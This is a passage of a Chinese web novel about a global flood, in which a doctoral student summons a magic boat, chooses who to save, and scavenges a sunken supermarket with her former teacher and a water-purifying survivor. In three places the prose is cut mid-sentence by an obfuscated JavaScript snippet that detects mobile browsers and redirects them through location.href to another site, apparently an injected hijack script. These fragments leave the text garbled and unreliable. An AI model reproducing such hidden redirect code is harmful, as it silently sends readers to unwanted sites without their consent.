《天灾：我有一艘船》 1. 大雨 人类统领地球的时间，有多长呢？ 只是地球短暂的一个呼吸。 天昏地暗，风呼啸着，乌云好像就在头顶，密得没有一丝光亮。 暴风雨在世界各地持续了一个月，人类隐隐感觉到不安。 所有地方都在下雨，不论纬度和经度。 似乎是有人设置了一个全球下雨的天气实验条件，让整个地球被乌云包裹。 水涨起来了，河里的水，海里的水，都涨起来了。 狂风呼啸着，豆大的雨狠狠拍在窗户上，恐怕连扫射都不敢这么使用弹药。 世界上所有大陆的海岸线以一种惊骇的速度上涨。 所有人无能为力。 每一天，他们都看见水在上涨，衣服长了蘑菇，坏了许多棉被，河岸堤坝已经不是被冲垮而是被淹没。许多人往高处迁徙着，有些人的尸体留在了水里。 他们的家人还怀抱着掺杂着绝望的希冀。等雨停下，等到水退下，他们会从深陷的泥土中挖出亲爱的家人。 但是连泥土都被泡得稀烂。 一开始垮塌的是土坡，泥石流冲垮许多房屋，后来是山体，淹没了整个村庄。 她们发现自己几乎无路可退。 在暴雨连绵之初。人们积极应对着，一周内，沿海地区的人们往邻近城市转移。 然而，洪水泛滥的速度太快，接踵而至的泥石流，山体滑坡……人们开始应对不暇。淹没的地区停止了通信服务。 在外的亲人们在网上哭嚎着已经失联许多天。绝望的心情比洪水还要可怕，防线已到临界点的他们，在网上痛骂着所有人。 但是渐渐的，消息不再流通，那些新闻一挂就是好几天，根本无法更新。 一个月后，经过国家抢修，通信系统才偶尔会畅通。 据说全国各地的基站在努力抢修，虽然有的基站已经因为所在山区的垮塌而连接不到。 或许有人甚至希望暂时没有信号。 这样她们就不会看见热搜上那每一条都发散着不详气息的死亡预告。 【大坝垮塌以致上百人失联】 【W省洪水】 【十二省份驰援现场】 【一方有难八方支援】 【R国国土淹没向联合国求助】 【噩耗！四国失去联络】 【全球暴雨已持续……】 有人无比怀念从前那令人厌烦的明星营销。 至少那意味着，一切风平浪静。 长时间接收着黑暗的讯息，无数人的心理防线已经垮塌。 如同那曾经阻拦了许多次洪水的堤坝，已经超过了它的承受能力，摇摇欲坠。 “所有人集合！准备转移！” 哨声之后，同样的信息重复了三遍，而这样的三遍日前一直上演着。 她们往往待不了多久，就必须再向更内陆逃亡。 交通道路也被摧毁得彻底。他们的速度远远赶不上水面上涨的速度。 这是一座中学。它所在的省份，并不临海，甚至连流经的大河都只擦着它所在的市流走。 它的地势高，人们曾经抱怨上学爬坡的不便，如今，这样一个凸起的地势，成了他们将这里变为临时庇护所的原因。 难得进入建筑避雨一天。这里容纳了许多人，之前被官方救援安排着转移，他们一路上休息要么是在车里要么是在新研发的可漂浮的帐篷里。 生怕洪水来了来不及跑，或者直接被…… 但是现在她们又要逃跑，和洪水赛跑。 所有人筋疲力尽，他们的物资很少，一路有着国家设立的补充点。 也经不住人太多，经不住天灾的蔓延。 更何况，国家储备粮不只发往一处。 各地都在消耗着。 萧顺清和十几个人挤在一间宿舍里。 这里是学生公寓。她原本在沿海的大学读博。 但是现在，很显然，她和所有人一直向着内陆出发。 她埋头在膝上。水的腥味还有发霉的衣服味涌入鼻腔。她几乎要落泪。 为什么，为什么她当初要报外省的大学呢？本来以为沿海城市发展好，大学毕业后直升本校硕博连读。 但是，谁能想到……谁能想到，这一场席卷全球的洪水，让她被困在异乡。 而现在又辗转回到自己高中就读的学校。 可以想见，这一路她究竟走了多久。 回到自己的家乡，却物是人非了。 她不敢去想。她是最早一批转移的，学校的组织力最强，也因此，她一路见证了灾难下的城市，还有那些不幸的倒在路上的人们。 他们中许多人已经已经回到家乡，纵使不知是死是活，但他们有了短暂的归所。 她没有归所。 即使踏上故土，她仍旧回不去家。 实际上后悔没什么用，她也知道，但她仍旧在想，如果她没有离开家乡，或者只要当时报考了父母工作的省份，她现在也不会完全和亲人失联。 她的爷爷奶奶，甚至还住在傍水的镇上。或许……或许一开始水涨上来就…… 还有她的爸爸妈妈，也是在沿海的省份，他们不知道是不是已经得到救援，又去了哪里。 还有，她的姐姐…… 鼻子里的酸涩很难忍住，艰难的从喉咙里吐出一口浊气，喉头堵得疼痛，没有流泪。 她强忍着心里的酸痛，安慰着自己。 不会的，不会的，姐姐和父母在一个城市，或许灾难来时，他们正在一起，一定会没事的。 可是，可是还有爷爷奶奶…… 她仰着头，靠在裂出缝隙的墙上。屋里所有人都麻木着，但是眼里又都充满了悲伤。 操场里的喇叭声尖锐的响起！ 她们又该行动了！ 屋外闷沉的雷愈来愈响，似乎预示着更加不详的事。 所有人跑到操场来。但是忽然！惊雷炸响！ 与以往那轰隆隆的声音大不相同，它就像经过了前奏，猛然响起的高潮！连带着的，还有操场边的一个百年老树倒下的声音！ “轰！咔！” 原来还有闪电！站立了几百年的榕树倒下，所有人尖叫着！ 骚乱发生，那榕树体型巨大，有十几个人被压倒，还有人因此连续受伤。 人群疯狂的拥挤着，尖叫声刺破耳膜。他们就像是被装在瓶子里的炸药，疯狂挤压着同类，随时会炸裂开。 萧顺清被裹挟着。 她看见许多人被推搡着倒下，她看见她们没有死在水下，却长眠在土地上。 然后一切都被雨水冲刷着，生的气息消失了。 大雨越来越大，隔着雨衣都能感觉到疼痛。萧顺清不敢逆流，她试图站稳，然后向着边缘的方向前进着。 有人在控制秩序，但是声音被雷雨吞噬。 人们的耳边永远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571680|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有雷声和身边人恐惧的尖叫。 萧顺清抱住教学楼的柱子，贴紧，埋住自己的脸。 无数人挤压着撞击着她，但她不敢再动。她只能保证自己不会被践踏，变成一滩水和血肉混成的泥。 几分钟，人们分散各地，操场上还有着横七竖八的尸体。 萧顺清感觉到安静下来了，抬起头，望向四周，她的手脚猛地脱力。 这一切，那么可怕。 心情未曾平复，她听见救援人员焦急又愤怒的吼着。 她看见，那个一直尽心尽力帮助她们的阿姨，躺在地上…… “喂……喂……救援……##……撤离！……来了……垮塌……快！……” 通信信号弱的对讲机断断续续发出警报，他们必须马上撤离！ 萧顺清抬头看向满天大雨，人们重新组起队伍，这一次又慌乱又焦急。她身边却好像静下来了。 她只听见了水声，那滔天的水声，似乎淹没了一切。她伸出手，数不清的雨柱打在她手上，天上压低的黑云似乎摇摇欲坠。 萧顺清想起来了。想起来无数次死在雨中的人们，想起他们疲于奔命，却徒劳而死的模样，想起来……就算地势再高，水也在不断上涨。 幸存者下山，山前却出现了一条从未有过的河。那河似乎很深，泥沙滚滚，连石块都被浪打着漂浮着。 她们被迫退回去。这一次，连希望都要消失殆尽了。 还有人想尝试过河，但这条新生的河流并不好惹，刚一放上漂浮帐篷便被掀翻。 萧顺清机械地迈着脚步，回到学校。然后走到她曾经的宿舍，这里后来住了学妹，但她就那样走着，往楼层高处走去。路上还有人，她也浑不在意。 浑身湿哒哒的，她来到531。 房门大开着，从这里，就能看见远处那条河了，它似乎无边无际，并且以肉眼可见的速度上涨着水位，扩大着它的身躯。 她走出来，楼梯口积水已经泡发了腻子膏墙。 鼓出来一大块，似乎轻轻一碰便会溅出满腔的水。她低着头往下走，又停下了脚步。 “高老师。” 听见这个称呼抬起头的中年男人戴着一副眼镜，身材不算高大，还有些臃肿。她在这里碰见了她的高中老师。 “高老师，你怎么会在这里。” 他竟然还记得她：“萧顺清？你也在……”他的眼里涌出哀痛，却在曾经的学生面前挤出一个安慰的笑脸，故作轻松。 “我是来通知撤离的，大坝垮了，通信卫星无法联络到你们的驻扎地，我收到消息，来通知撤离……但是，但是水涨的太快了……”所以他也在骚乱中来到了女生公寓。 许多人都挤在这里，有男有女，现在也没有分性别待着了。 萧顺清知道了。高老师的袖子上别着一个志愿者的红袖章，应该是本地的志愿者，但是很不幸，或许要跟着他们一起埋葬在这里了。 她没有出声，依靠在水淋淋的栏杆上。 高老师站起来：“应该会有救援的，我们现在要先注意安全，你不要站在那里，很危险。” 萧顺清头顶是一块兜着水的墙皮，摇摇欲坠。 “好，那我先上楼了。”她又抬步往楼上走。路过五楼，又上六楼。 她们的公寓最高只有六层，她走进631，安静的立在窗边，水，好像快到那条商业街了。 楼里悲伤绝望的哭声四起。 2. 援手 萧顺清在这样的声音下，打开了窗户，风夹着雨，猛地闯进来。 萧顺清有点想吐，但是又开始耳鸣。她好像生病了。 这样的天气生病，也是一种灾难。 尖锐的耳鸣贯穿她的脑子，她痛苦地捂住耳朵，难受得蹲在地上，她的喉咙开始发痒，脑子也开始混沌。 雷雨声如此之大，她却完全听不见了。 从刚刚开始，她的耳朵就隐隐被堵住一样，模糊了世界所有的声音，但现在，它又开始尖锐的叫嚣着，好像要将她从内部撕碎。 她发呕，却什么也没有吐出来。她闭紧嘴巴，深呼吸着。 不知过了多久，世界逐渐清晰。 但也或许是更加吵闹了吧，她听见了正常的声音。萧顺清站起来，看见窜动的人群疯狂的往建筑楼里挤，水，已经漫进校园了。 她神经质地握了握右手，抬起来，似乎不解地偏了偏头。 手心，一个浅色的图案隐隐一闪而过，又什么也看不看见了。 人们要来六楼了，水正在蔓延。从这里，已经能够看见浅浅的水层弥漫至操场。 她回头，有几个人已经跑了进来，但是她们不会互相搭话，这已经是最高一层了，她们没有退路了。 咒骂，怨恨，痛哭……萧顺清清楚听着。 她背上背着政府发的背包，里面还有两个面包和一瓶水。 她在学生放书的柜子里翻了翻，甚至找到了一个打火机。最高层的书已经有了潮湿感，她拿了一本课外读物放进包里。 学生的床上有几件衣服，她收了起来，还有一条夏凉被，甚至还卷起一床发霉的凉席抱在手里。 似乎没有什么了。旁的人也没有在意她。 回头深深看了这些人一眼，萧顺清目光投向窗外，水已经淹没到一楼。 “学生，没地方跑了，你还是放下东西吧。” 一个女人坐在床上，她似乎身体也很难受，不知道是因为现下的绝境还是在雨天生病了。 看她捂着肚子，萧顺清又想起来什么，八个女生的行李她都找了找，搜刮的卫生巾已经快装不下，于是她将床单拆下来，做一个包袱，全都装了进去。 水，涨到了三楼。萧顺清估量着，偶尔探出身子，查看水位。 涨到四楼一半时，六楼已经挤满人了。 她爬上窗台，以面朝外面的姿势坐着。 “别……”之前说话的女人似乎是觉得她要跳楼，但是这样的处境下，早晚都是死，似乎也没有什么规劝的余地。 她住了口，萧顺清看了她一眼，嘴蠕动两下，没有开口。 她一跃而下！ 这样的失重感让人心里的恐惧达到极点，但她本来也离死不远了，可能也并没有更加害怕。 身前厚重的包袱被她拿在身前，蜷缩着往下坠去。五楼的人似乎晃了一眼，一个黑影坠落下来。 但她们没看清。 而萧顺清，重重地砸了下去，但是，除了背部传来的雨水触感，似乎没有跟水接触。 身下晃了晃，但是又稳稳的承载着她。她跪坐起来，两旁，是一堵墙，和浑浊的汹涌的水。 身下，是一艘木船。 她翻身朝天看去。雨水打得她睁不开眼。 有些已经在水里的人拼命挣扎，却看见这一艘凭空出现的木船。 她们有的呼救着，但频频呛水，还有的一句话也发不出，就被水浪卷走。 而浪打过来，这艘船摇动几下，却没有随着水流飘走。 有人从窗口发现了她。她听不清所有人的声音，但是她看见了一个熟悉的人，他在五楼，已经挤在了窗口。 是高老师。 萧顺清缓缓举起手，冲他挥了挥。 有人打开了窗户，无数的“救救我”响起来。 萧顺清缓慢眨眼，雨水让她无法将眼前的一切看清楚。 船的位置向远离墙的地方挪了挪。大约两米间距。 她抬起头，水涨船高，这会儿她约莫已经到了四楼顶。 萧顺清站起来，面无表情，清亮的声音略微有些嘶哑：“我只能载三个人。” 有的人咒骂着，祈求着，但是她冷冷地立在雨里，声音也没有起伏：“这是我的船，我只能载三个人。” 她看见人们往小小的窗口挤着，有人甚至想跳出来，还试图先将挡在前面的人扔了出来。 一个巨大的水花，萧顺清再次抬头，又顺着黑影落在水面上。 是那个跟她搭话的女人。六楼的人也看见她了，并且将挡在窗边的碍事女人扔了下去。 萧顺清看着她，想了些什么，也是一瞬间的事。 她蹲下身，朝那个女人伸出了手。 女人惊讶，随即是得救的狂喜。她拼命地往船那边游去。 许多会游泳的也跳下来了。 她们似乎自认看清了萧顺清救人的标准，那就是先到先得。 又或许，他们现在只想上船，不管萧顺清同不同意。谁都想抓住这根救命稻草。 有的人离得近，几乎已经扒住船沿，萧顺清也已经把女人拉上船。 船周围挤满了人，却惊悚地发现，她们根本抓不住船的边角。 人力是无法对抗洪水的，他们没有依托物，只能被流水冲走。 萧顺清条件反射地抓住一个男人，男人免于洪流，顺势抓紧她的手腕爬了上来。 别的人，都没了。 楼上的人有些不敢再跳了。她们咒骂的对象变成了萧顺清，当然还有幸运上船的两个人。 水快要没过四楼顶。 萧顺清看见有很多人打开了自己的漂浮帐篷钻了进去。当然，这样使得屋内空间更加紧张，更多的人掉进水里。 萧顺清没有再去救人，她坐在船上，这艘木船已经快装不下了。她也有着清晰的感知，最多一个人，不然，她就会支撑不住的翻船。 她垂下脸，还有一个人的位置了。 人群嘈杂声竟然又扩大一倍。 扑通的落水声，竟然是从身后传来。 她抬头看见那个男人向她毫不犹豫地伸出手，而另外一个女人已经被他推进水里。 他，想要独占这艘船。 萧顺清被推进水里，划动着手臂。 而她可以轻而易举的抓住船沿：“为什么？” 男人哭着，但是却未曾犹豫地扒她手指：“我还有老婆，还有个儿子，我们一家三口都要坐这艘船……求你了求你了……对不起……” 萧顺清松开手，奋力向墙壁靠近，她扒住墙。 那个女人水性较差，似乎还在挣扎。从生落入死，不过如此。 “萧顺清！”头顶传来一声呼喊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571681|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 高老师弯腰探出大半个身子，冲她伸出手：“先上来！肯定不止那一艘船！” 是啊，人们会以为那是一艘真正的船，或许是救援队的，或许是附近渔民的……然后期望着还有别的船。 萧顺清的目光平静，看着中年老师的手，想起来，这位老师并没有背着物资背包。 他是来参与救援的，怎么会有背包呢。 所以他连漂浮帐篷都没有。 萧顺清抓住他的手，男人向上使力着，但他却感觉到下坠感。 得益于水流和重力帮忙，萧顺清轻而易举将探出大半个身子的老师拽了出来。 两人瞬间失去凭借物，洪水卷来，两人都奋力与水流对抗。 而仅仅刹那，她们的身下，缓缓出现一艘船……和先前那艘，一模一样。 萧顺清抬眼，先前那艘船已经开始变得透明。 随着萧顺清和高民身下的船出现，抢夺了船本以为安全的男人惊恐地落入水中，再也没办法爬上那艘虚无的船。 男人痛苦的表情映入眼帘，萧顺清闭上眼，收回眼神，她就算是不看，也知道那艘船和船上人的下场。 物资，连同着人，都掉入水中。 这边，两人身下的船明明没有动力来源，却依旧行驶在水面上。 本就没有耽误太多时间，萧顺清很快捞起了那一大包东西，布料包裹得很严实，里面的卫生巾也是密封的，没有进水。 还有那个先前被推下水的女人。 已经快被大水冲走了，但是仍旧负隅顽抗着，抓着一截卡在墙壁中间的树木不肯放弃。 船的速度远超寻常，眨眼间便到她眼前，船上有人伸出手，女人惊喜万分，抓住了那再次向她伸出的生的希望。 她终于从洪水里得救了。 女人痛苦咳嗽着，但是仍旧流着泪，拼命地道谢。 她再次死里逃生。 双手撑住船，和别的人不同，得了萧顺清的允许，她也能往船上爬。 身子半边泡在水里，本来快要上来了，她却突然惊恐地睁大眼！ 下面！下面有东西在拉她！ 她用手肘撑住自己，拼命挣扎着。 萧顺清快速探头望去，水下，一个被水扭曲了的章鱼头似乎长着一张人脸，狰狞笑着。 身下长长的触角，死死地捆着女人，还在用力收紧。 当机立断，萧顺清抱住女人的半边肩膀：“使劲！上船！” 上船就有一线希望。没有经过她允许，所有东西都没办法“上”船。 水里那个……长着人脸，其实也只是长齐全了眼睛鼻子嘴。 除了长着人脸的头，都是触手，就像是章鱼的身体。 高老师急忙过来帮忙，他也看见水下的东西，吓了一跳，不敢多说什么，三人合力对抗着。 终于，女人连同那东西一起，浮出水面。 女人缩着脚，远离水面，那怪物不甘的脸几乎从下贴住水面。 但它似乎不能突破水的屏障，最终松开触手，往下沉去。泥水浑浊，她们再看不见什么别的。 船已经远离宿舍楼。 回头望去，大大小小的帐篷飘起来，水流湍急得要命，这样的水里，她们只能听天由命，祈求着能够快点被人救起来。 当然，也许她们只是平静的等待着死亡。 3. 探索 船上，很安静。 三个人一句话也不说，她们不知道说些什么。 萧顺清坐在船头，后一位是那个女人，船尾坐着高老师。 萧顺清一动不动地望着前方。 船稳稳地行驶着，似乎再大的风浪都无法将它掀翻。 但是雨水仍旧拍打在他们身上，萧顺清挺直背坐着，有些东西在水里漂浮着。 船灵敏地换着航道，无声无息，有种诡异的平静。 “我们，要去哪儿啊？”女人低声问。 萧顺清很久没开口说话了，一开口，嗓子像是被粘连了一样疼：“回我家。” 说完这三个字，她微微扭头，并不能看见身后的两人，但她们俩都能看见她苍白的侧脸：“我要去找我的家人。” “我家……我家也在……”高老师开口，但他没有讲完，因为萧顺清打断了他。 “老师，这条船，必须去找我的家人。” 高老师眼中痛苦的神色涌现出来，但是萧顺清此时回过头去了：“我要去找我的爷爷奶奶，至于你们的家人，抱歉。” 女人没有问她自己亲人的事。她想到了另一件事。 小小的木船坐着三个人，还算是有些空隙，船上还放着一个包裹，也还不算大。但是，如果挤一挤，或许也只能再多加一个人。 她一开始在船上喊的，是能载三个人。加上她自己，是不是最多容纳四个？ 女人哆嗦着，似乎是因为浑身湿透了：“你的船，能坐几个人？” 萧顺清头也不回：“四个。包括我。” 另外两人同时抬头看向那个背影。她要去找爷爷奶奶，到时候，就会变成五个人……那么，他们两个，谁会下船？ 萧顺清没有看他们，所以另外两人对上了视线。 静谧的空气又开始蔓延，天地间似乎只剩下水流和雨的声音。 过了一会儿，女人说：“这艘船是你变出来的吧？我之前看见你一直在收拾东西，应该是知道自己能够变出船来。” 萧顺清终于又回头看她们一眼，惜字如金：“是。” 所以，她才能确保这艘船完全属于她自己。 在这艘船上，她绝对立于不败之地。 “我也有特殊能力。”女人坚定地开口，两人的目光同时向她投来。 萧顺清很平静，高老师有着一丝惊慌。 女人伸出手：“我的能力是净化水。干净的水，非常有用。” 只见她手心窝着，从浑浊的泥水里掬起一捧，在她的手心里，黄色的水瞬间清澈，当着他们两人的面，展示一番，然后喝了下去。 “人不喝水，很快就会死掉，我很有用不是吗？” 萧顺清点点头，没说确定的话，但她的态度足以让一个人开心，而另一个人慌乱。 高民拼命的想着，他是否有什么优势。他……只是萧顺清的高中老师，刚刚拉了她一把，但是很明显，没有自己她也能活得好好的。 为什么，为什么他没有特殊能力呢？小船仿若一座孤岛，三人心思各异。 萧顺清将船停了下来，水仍旧流动，船却不动了。萧顺清转过身，正对两人。 “高老师，谢谢你刚刚救我。” 什么意思？ 女人本来以为她和那个男人都是同一起点，而她刚刚拿下重要一分，可是，原来他们认识？ 是啊……这个男人叫过她的名字，她们是认识的。 高民听见她的道谢，却并没有多开心，勉强蠕动嘴角：“不用，这是我应该的。” 萧顺清抬了抬嘴角，似乎是很礼貌地笑了一下，重新背过身去了。 “自我介绍一下吧。我叫萧顺清，本省z市人，但是是从A省开始迁移回来的。”A省早就被淹了。 两人互相认识，这自我介绍当然是跟她做的，女人友善地扯出笑容：“我叫苏凤晚，今年31，F省人，是中途汇合之后跟来这边的。还有，我家里面没有亲人，朋友也不知道去哪里了。” 怪不得她之前并没有试探去找她的家人。 轮到高民：“我是学校的老师，叫高民，46岁，本地人，本来是来通知大部队洪水来了，但是被困在学校。” “你们，是什么关系啊？”苏凤晚开口问道。 “我是她高中的班主任。” 苏凤晚点头。 自我介绍完，她们不再开口，精疲力竭逃亡之后，她们都已经疲倦。 雨水还在拍打着，但她们已经慢慢垂下头，几乎快睡过去。 风浪依旧很大，萧顺清不在意后面两人的情况，依旧直直地坐着，目视着前方。 船，在她的操控下，丝毫未出错。 一座座高楼仅剩下高层露出水面，河面上飘荡着许许多多的求生品。水还在升高，但是速度似乎已经慢下了，不似先前那般汹涌。 或许这座城市的高层建筑还能够幸存些许，但那与船上三人无关了。 船的行驶速度很快。但萧顺清偶尔会停下查看地标方向，这如同大海的茫茫之水，让她很难辨别。 她有一份迁徙之前保存的地图，但是也仅仅有个方向。 “你知道你家在哪儿吗？”苏凤晚询问。 显然，她很疑惑这样的水面上，能否有人能够完全靠人力辨别一个城市到另一个城市的路。 萧顺清低着头，将视线放在水面某个虚无的点上：“在学校的西北方，我家那里，最高的建筑，有十七楼，楼上还有一个立体的五角星标志。” 她只知道一路向着西北去，或许，她会错过。 “逆水流，你大概要多久能到？” 萧顺清微微摇摇头。她只能以最快的速度行驶着，希望能够尽力赶到。 她自己也知道，这个不管不顾的举动是多么荒唐。 水面随时会有危险，她们可能有水，但无粮。 她并不知道具体的路线，就算知道从前的陆路，也不一定懂得怎么从水路走。 但是她只能这么做，也只会这么做。她能有什么办法呢，她内心不安极了，只觉得内心的恐慌从未停歇。 她必须要走这一遭，否则，她会无法原谅自己，从此在负罪感中度过。 她已经舍弃了许多人的性命，她救不了他们。 所以，她只能抓住心中最后的稻草，她现在只能坚定地，去寻找她的家人。 “我以前了解过自行车大赛，从本市到Z市骑行需要至少需要48个小时，就算不眠不休，船的速度比自行车快，但在不熟悉路况的情况下，也有可能会走错。按照火车轨道走，可能更精准一些。”高民说道。 萧顺清眼睛亮了亮，又想到另一件事：“火车轨道周围都没什么高建筑，不知道该怎么走。” “我们去收集物资吧，火车轨道分布图交通局会有。还要找一些食物和其他东西。” 萧顺清考虑两秒，点点头：“先去交通局。” 交通局离火车站不远。地势平坦，建筑物也不高，说不定已经被淹了。 市内的方向就清楚多了，高民参加志愿行动时就发放了本市的地图，加上两人都对本市很熟悉，事不宜迟，萧顺清调转方向，在宽阔的水面上飞速行驶着。 这一路苏凤晚就帮不上什么忙了。她看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571682|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高民努力认着路，咬了咬下唇。 苏凤晚插不上话，只能将船里的水舀出去，船身湿漉漉的，三个人就算一直穿着雨衣都还是湿透了。 更别说三个人都从水里过了一遭。 “医院！”他们看见一个十字架的标志，高高的楼还有着一大半在外面。 “要进去找东西吗？药品之类的。”苏凤晚询问。 “里面还有人。”萧顺清说道。 她们的船已经定员，靠近人群只会让他们徒增麻烦。 “第一医院旁边有一家大型超市，只有三楼，可能已经被淹在水下，但是应该不深。”高民提醒道。 “超市没有关门搬迁？” 高民摇头：“这一家没有，一直作为市内人民生活物资供应点。门也一直常开。” 庆幸无人超市已经普及，无需员工上班。 洪水局面隐隐无法控制时，人们就知道，财产安全绝对比不过人身安全。 如果还是有员工上班，为了员工的安全，超市肯定早就关门大吉，绝不会在意市民的生活保障。 但是有能力的情况下，这样的超市都是留存的。 “附近有药店吗？”苏凤晚仍旧询问。 药品的重要程度也不低，就算是感冒，这个时候没有药品也是会死人的。 “好了，”萧顺清轻声打断，“药品包装大部分是纸盒，可能早就进水了。” 药品内里肯定密封性好，但也是最有价值的物资之一，就算没搬走也是被锁起来的，他们可没有把握水下开锁。 萧顺清说话了，苏凤晚不甘地表示答应。 萧顺清看了她一眼，继续说道：“你们水性怎么样？” 高民答道：“我水下憋气最多5分钟。” 苏凤晚讪讪：“我才学会游泳两年，水下没有护目镜睁不开眼。” 萧顺清点点头：“准备吧。” 她将床单撕开，连成结实的长长一根绳索，一端捆绑在整条船上，另一端让高民绑上。 “高老师，你下水之后也不用找太久，有什么能拿到就拿什么。”萧顺清一边将另外一条绳原样绑在自己身上，一边讲到，“超市说不定已经被搬空了，找找留下的东西就好，注意安全。” “好。” 高民率先下水，撑着船边到水下探了探方向，确定超市就在不远处。 萧顺清依言将船固定在超市上方，然后同样下水，留下苏凤晚单独守着船上的绳，确保安全。 “对了，”萧顺清一个猛子扎下去，又猛地翻上来，“注意看高老师那条就好，我感觉到不对可以自己把船开到我身边。” 她在水底也能够感知到船的位置，也能让它完整开动过来。 苏凤晚点点头，再三确认两根绳都没有出问题。 24小时不间断的下雨，她们应该早就习惯了。 但是苏凤晚坐在船上，总觉得不做些什么就心慌。 她也是迁移的人，背包随时都在身上，为了方便高民收集物资，东西都拿出来放在船上，她们俩带着空包下水。 同理，她也有一个帐篷。 苏凤晚摇摇晃晃移动着，将帐篷的布料拆下来，铁制的零件和铁丝都放好。 这种简易帐篷也是防水的，她摸索着将布料撑了起来，遮住船身，风猎猎作响，她偶尔查看绳索结不结实，一边努力为这条船做些什么。 萧顺清游泳还算擅长，但仅限于在干净的水中。 洪水里病菌和大颗粒的脏东西都很多，她一时都有些睁不开眼。 憋了一会儿，浮出水面，正好看见高民也露出头。 4. 争执 “水太浑浊了！摸不到东西就算了！” 萧顺清在雨中喊着。 其实不单是浑浊，水流的拉力让她们都很难控制自己游动的方向，屡屡被暗流卷走，又被绳子拉扯回来。 高民应着好，转眼两人又钻下去。 萧顺清睁不开眼睛，只好在水中伸手摸索，终于摸到了墙壁。 来回换气几次，她终于确定一扇大门位置。一次深呼吸调整后，她鼓足劲总算进入超市。 不一会她摸到了货架。这些货架都是纯铁实心，没有浮起，货架内的东西倒是飘着，但幸运的是没有被卷到别的地方。 她也没管摸到了什么，感觉包装完好都往包里装。 看来超市还没有完全搬空，萧顺清甚至摸到挂在散装零食柜边的购物袋，确认了这附近肯定都是吃的。 肺里感觉要炸了。她先带着一背包东西返回水面。 船就在正上方，苏凤晚看见她浮上来，连忙拉她。 萧顺清扶住船身，摸了把脸，摆摆手：“东西在这，你卸一下。” 苏凤晚拉开她身前的拉链，里面满满都是零食饼干，她赶紧转移到船上：“你还要下去吗？” “里面东西还多，我会看着办的。” 萧顺清看了看船上的状况，眼神划过一直完好无损的两根布料绳子。 帐篷的布料都散开了，她倒是明白苏凤晚想做什么：“你要搭遮雨棚的话注意安全，别掉下水。我不在，你掉水之后没办法拉住船。” 苏凤晚白了脸：“好，我知道了。” 萧顺清往船头船尾投去视线，木质的船身便稍稍改变了些样子。 两头凹出两条勒痕一样的沟，而平整的正面也多了两个没有穿透但很深的小孔，大约就帐篷的钢丝粗细。 她最后交代一声：“你看着办吧。”说完便再次下水。 顺利摸到之前的进度点，购物袋一大卷都装进包里。塑料袋这东西，有用着呢。 然后又是吃的，装了一包。连续进出三次，她感觉体力耗尽，从水里爬上了船。 刚上船，高老师也再次浮出水面，这是他第三次露头。 他去的区域是工具区，东西都分量不小。 萧顺清拉住他：“上来吧高老师，差不多了，我们继续往前走了。” 高民喘着气，眼睛都还睁不开：“好。” 三人再度上船。身边堆满了物资，其实也不算丰富，但肯定够他们吃几天了。 苏凤晚递给他们一盆水，高民开始带上来的就有一个盆，她舀了水净化给他们清洗。 萧顺清仰着头，闭着眼：“高老师先用吧。” 高民没有推辞，他在水下没忍住睁了几次眼，现在眼睛通红，很难受。 苏凤晚手脚很麻利，再加上萧顺清对船体做的细微改造，上的遮雨棚很轻易就搭起来了。 没有了雨的冲刷，她们感觉舒适不少。 “你们清点物资，我开船了。”萧顺清也清洗完，挪到船头，重新看着水面状况行驶。 身后两人承担了清洗物品和放置的工作。 苏凤晚显得很高兴，有这么多东西在身边是让人很有安全感的。接下来的路程她们应该不缺吃喝了。 散装的面包和饼干都是萧顺清拿回来的，还有很多不顶饿的麻辣小零食，但眼下的情况，是很不错的美味。 “大面包有二十六个，小面包四十六个，罐装饼干有三盒，我们吃完饼干还能留下罐子装东西！”苏凤晚声音愉悦，暂时忘记了其他的一切。 这样的收获让高民也很高兴。 他嗓音也很轻快：“一个塑料桶，两个不锈钢盆，还有菜刀，剪刀，连锤子都有，我们的工具应该够用了。” 两个人偶尔汇报成果，将东西都固定放好，免得风浪卷走她们的东西。 萧顺清本来也很高兴，虽然没有搭话，但是身形放松了些许。 然而她突然又感到一阵头晕眼花，这熟悉的感觉，她明白自己发生了什么，但仍就很难受。 苏凤晚先发现了她的不对劲：“萧顺清？你没事吧？” 萧顺清强撑着摇了摇头，艰难地吞咽口水试图平复。 船的速度慢了下来。 她稍微缓了一会儿，但却感觉这个过程还要许久才会平息。 没办法了，她艰难的从嗓子里蹦出字：“帮我看着水面，我集中不了精神。” 她是要升级了，萧顺清明确知道。 一直控制着船，就连船不被洪水带动也是她用异能控制的。 虽然感觉很累，但是很明显她的熟练度提升了。 异能升级就好像游戏经验一样，用得多了就会升级。 她不知道别人——例如苏凤晚是否是这样。但她从第一次难受获得异能之后，就对自己的异能了如指掌。 例如现在，她知道自己要升级了。 